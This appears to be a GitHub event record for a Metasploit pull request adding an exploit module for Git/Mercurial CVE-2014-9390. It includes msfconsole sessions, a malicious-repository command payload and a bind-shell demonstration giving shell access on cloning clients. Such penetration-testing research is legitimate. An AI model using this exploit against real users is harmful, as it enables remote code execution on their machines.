{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4440","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4440/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4440/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4440/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/4440","id":52540789,"number":4440,"title":"Add module for Git/Mercurial CVE-2014-9390","user":{"login":"jhart-r7","id":3869433,"avatar_url":"https://avatars.githubusercontent.com/u/3869433?v=3","gravatar_id":"","url":"https://api.github.com/users/jhart-r7","html_url":"https://github.com/jhart-r7","followers_url":"https://api.github.com/users/jhart-r7/followers","following_url":"https://api.github.com/users/jhart-r7/following{/other_user}","gists_url":"https://api.github.com/users/jhart-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jhart-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhart-r7/subscriptions","organizations_url":"https://api.github.com/users/jhart-r7/orgs","repos_url":"https://api.github.com/users/jhart-r7/repos","events_url":"https://api.github.com/users/jhart-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jhart-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/hotness","name":"hotness","color":"8A0808"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"todb-r7","id":1170909,"avatar_url":"https://avatars.githubusercontent.com/u/1170909?v=3","gravatar_id":"","url":"https://api.github.com/users/todb-r7","html_url":"https://github.com/todb-r7","followers_url":"https://api.github.com/users/todb-r7/followers","following_url":"https://api.github.com/users/todb-r7/following{/other_user}","gists_url":"https://api.github.com/users/todb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/todb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/todb-r7/subscriptions","organizations_url":"https://api.github.com/users/todb-r7/orgs","repos_url":"https://api.github.com/users/todb-r7/repos","events_url":"https://api.github.com/users/todb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/todb-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":8,"created_at":"2014-12-19T23:36:18Z","updated_at":"2015-01-01T19:17:30Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4440","html_url":"https://github.com/rapid7/metasploit-framework/pull/4440","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4440.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4440.patch"},"body":"This doesn't (yet) spawn a shell, but will execute commands of our choosing when a vulnerable client clones our fake repository and ```PAYLOAD``` == ```cmd/unix/generic```.  In addition to my lack of familiarity with exploit modules, I think that I need to rethink how the malicious repository is constructed in order to spawn shells that metasploit can automatically connect to (```regenerate_payload``` seems relevant).\r\n\r\nThis is still a bit of a work in progress, but I welcome anyone else to assist with this PR in making it complete.\r\n\r\nFixes #4435 and makes progress against #4445.  It does this by:\r\n\r\n* Hosting a malicious Git HTTP repository \r\n* Hosting a malicious, not-yet-working and disabled by default Mercurial HTTP repository\r\n* Linking to both of these repositories from a mock HTML page in the hopes of luring someone in\r\n\r\nExample in verbose mode:\r\n\r\n```\r\nmsf > use exploits/multi/http/git_cve_2014_9390\r\nmsf exploit(git_cve_2014_9390) > set PAYLOAD cmd/unix/generic \r\nPAYLOAD => cmd/unix/generic\r\nmsf exploit(git_cve_2014_9390) > set CMD \"whoami > /tmp/f.txt\"\r\nCMD => whoami > /tmp/f.txt\r\nmsf exploit(git_cve_2014_9390) > set VERBOSE true\r\nVERBOSE => true\r\nmsf exploit(git_cve_2014_9390) > run\r\n[*] Exploit running as background job.\r\n\r\n[*] Malicious Git commit of .GiT/post-checkout is:\r\n[*] author pQ5ATdwpqVi d9tYPfEIzCu <pq5atdwpqvi_d9typfeizcu@ubhni5jll.com> 1193845246 -0100\r\n[*] committer pQ5ATdwpqVi d9tYPfEIzCu <pq5atdwpqvi_d9typfeizcu@ubhni5jll.com> 393843866 -0100\r\n[*] \r\n[*] Initial commit to open git repository for ubhni5jll.com!\r\nmsf exploit(git_cve_2014_9390) > [*] Using URL: http://0.0.0.0:8080/\r\n[*]  Local IP: http://172.16.10.226:8080/\r\n[*] Server started.\r\n[*] Adding hardcoded uri /git\r\n```\r\n\r\nThen on a Windows system that has a vulnerable version from https://github.com/msysgit/msysgit/releases/, I clone the malicious repo and see that ```/tmp/f.txt``` contains my command output:\r\n\r\n```\r\nAdministrator@win7-git ~\r\n$ rm -f /tmp/f.txt && rm -Rf bad13 &&  /cygdrive/c/Program\\ Files\\ \\(x86\\)/Git/bin/git clone http://localhost:8080/git/ bad13 && cat /tmp/f.txt\r\nCloning into 'bad13'...\r\nAdministrator\r\n```\r\n\r\nSimilarly on a vulnerable OS X host with git from http://sourceforge.net/projects/git-osx-installer/files/ (now broken), with ```set ENCODER generic/none``` (because ```/bin/sh``` seems pretty crippled on my test 10.7 system) and ```set PAYLOAD cmd/unix/generic```` and ```CMD``` as with the Windows example:\r\n\r\n```\r\nc107unpatched:tmp admin$ rm -f /tmp/f.txt && rm -Rf git && git clone http://localhost:8080/git && cat /tmp/f.txt \r\nCloning into 'git'...\r\nChecking connectivity... done\r\nadmin\r\n```\r\n\r\nWith ```set PAYLOAD cmd/unix/bind_perl```:\r\n\r\n```\r\nc107unpatched:tmp admin$ lsof -ni tcp:4444\r\nc107unpatched:tmp admin$ rm -Rf git && git clone http://localhost:8080/git\r\nCloning into 'git'...\r\nChecking connectivity... done\r\nc107unpatched:tmp admin$ lsof -ni tcp:4444\r\nCOMMAND   PID  USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME\r\nperl5.12 8231 admin    3u  IPv4 0xffffff8006aaca40      0t0  TCP *:krb524 (LISTEN)\r\nc107unpatched:tmp admin$ telnet localhost 4444\r\nTrying ::1...\r\ntelnet: connect to address ::1: Connection refused\r\nTrying 127.0.0.1...\r\nConnected to localhost.\r\nEscape character is '^]'.\r\nid\r\nuid=501(admin) gid=20(staff) groups=20(staff),401(com.apple.access_screensharing),12(everyone),33(_appstore),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1)\r\n```\r\n\r\nOn an unaffected Linux host it does nothing, as expected, because the hook file is in a file by a slightly different name:\r\n\r\n```\r\n$  rm -Rf git && git clone http://localhost:8080/git && ls -laR git/.**/hooks/post-checkout\r\nCloning into 'git'...\r\n-rwxrwxr-x 1 jhart jhart 105 Dec 22 11:44 git/.GiT/hooks/post-checkout\r\n\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/68495228","html_url":"https://github.com/rapid7/metasploit-framework/pull/4440#issuecomment-68495228","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4440","id":68495228,"user":{"login":"todb-r7","id":1170909,"avatar_url":"https://avatars.githubusercontent.com/u/1170909?v=3","gravatar_id":"","url":"https://api.github.com/users/todb-r7","html_url":"https://github.com/todb-r7","followers_url":"https://api.github.com/users/todb-r7/followers","following_url":"https://api.github.com/users/todb-r7/following{/other_user}","gists_url":"https://api.github.com/users/todb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/todb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/todb-r7/subscriptions","organizations_url":"https://api.github.com/users/todb-r7/orgs","repos_url":"https://api.github.com/users/todb-r7/repos","events_url":"https://api.github.com/users/todb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/todb-r7/received_events","type":"User","site_admin":false},"created_at":"2015-01-01T19:17:30Z","updated_at":"2015-01-01T19:17:30Z","body":"Landing this now so the blog post is a little more relevant. Looks good to me:\r\n\r\n````\r\nmsf exploit(distcc_exec) > use exploit/multi/http/git_client_command_exec \r\nmsf exploit(git_client_command_exec) > show options\r\n\r\nModule options (exploit/multi/http/git_client_command_exec):\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   GIT      true             yes       Exploit Git clients\r\n   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0\r\n   SRVPORT  8080             yes       The local port to listen on.\r\n   SSL      false            no        Negotiate SSL for incoming connections\r\n   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)\r\n   URIPATH                   no        The URI to use for this exploit (default is random)\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Automatic\r\n\r\n\r\nmsf exploit(git_client_command_exec) > info\r\n\r\n       Name: Malicious Git and Mercurial HTTP Server For CVE-2014-9390\r\n     Module: exploit/multi/http/git_client_command_exec\r\n   Platform: \r\n Privileged: No\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Excellent\r\n  Disclosed: 2014-12-18\r\n\r\nProvided by:\r\n  Jon Hart <jon_hart@rapid7.com>\r\n\r\nAvailable targets:\r\n  Id  Name\r\n  --  ----\r\n  0   Automatic\r\n  1   Windows Powershell\r\n\r\nBasic options:\r\n  Name     Current Setting  Required  Description\r\n  ----     ---------------  --------  -----------\r\n  GIT      true             yes       Exploit Git clients\r\n  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0\r\n  SRVPORT  8080             yes       The local port to listen on.\r\n  SSL      false            no        Negotiate SSL for incoming connections\r\n  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)\r\n  URIPATH                   no        The URI to use for this exploit (default is random)\r\n\r\nPayload information:\r\n\r\nDescription:\r\n  This module exploits CVE-2014-9390, which affects Git (versions less \r\n  than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions \r\n  less than 3.2.3) and describes three vulnerabilities. On operating \r\n  systems which have case-insensitive file systems, like Windows and \r\n  OS X, Git clients can be convinced to retrieve and overwrite \r\n  sensitive configuration files in the .git directory which can allow \r\n  arbitrary code execution if a vulnerable client can be convinced to \r\n  perform certain actions (for example, a checkout) against a \r\n  malicious Git repository. A second vulnerability with similar \r\n  characteristics also exists in both Git and Mercurial clients, on \r\n  HFS+ file systems (Mac OS X) only, where certain Unicode codepoints \r\n  are ignorable. The third vulnerability with similar characteristics \r\n  only affects Mercurial clients on Windows, where Windows \"short \r\n  names\" (MS-DOS-compatible 8.3 format) are supported. Today this \r\n  module only truly supports the first vulnerability (Git clients on \r\n  case-insensitive file systems) but has the functionality to support \r\n  the remaining two with a little work.\r\n\r\nReferences:\r\n  http://cvedetails.com/cve/2014-9390/\r\n  https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial\r\n  http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html\r\n  http://article.gmane.org/gmane.linux.kernel/1853266\r\n  https://github.com/blog/1938-vulnerability-announced-update-your-git-clients\r\n  https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/\r\n  http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29\r\n  http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e\r\n  http://selenic.com/repo/hg-stable/rev/6dad422ecc5a\r\n\r\nmsf exploit(git_client_command_exec) > show advanced\r\n[....snip....]\r\n   Name           : MERCURIAL\r\n   Current Setting: false\r\n   Description    : Enable experimental Mercurial support\r\n````"}}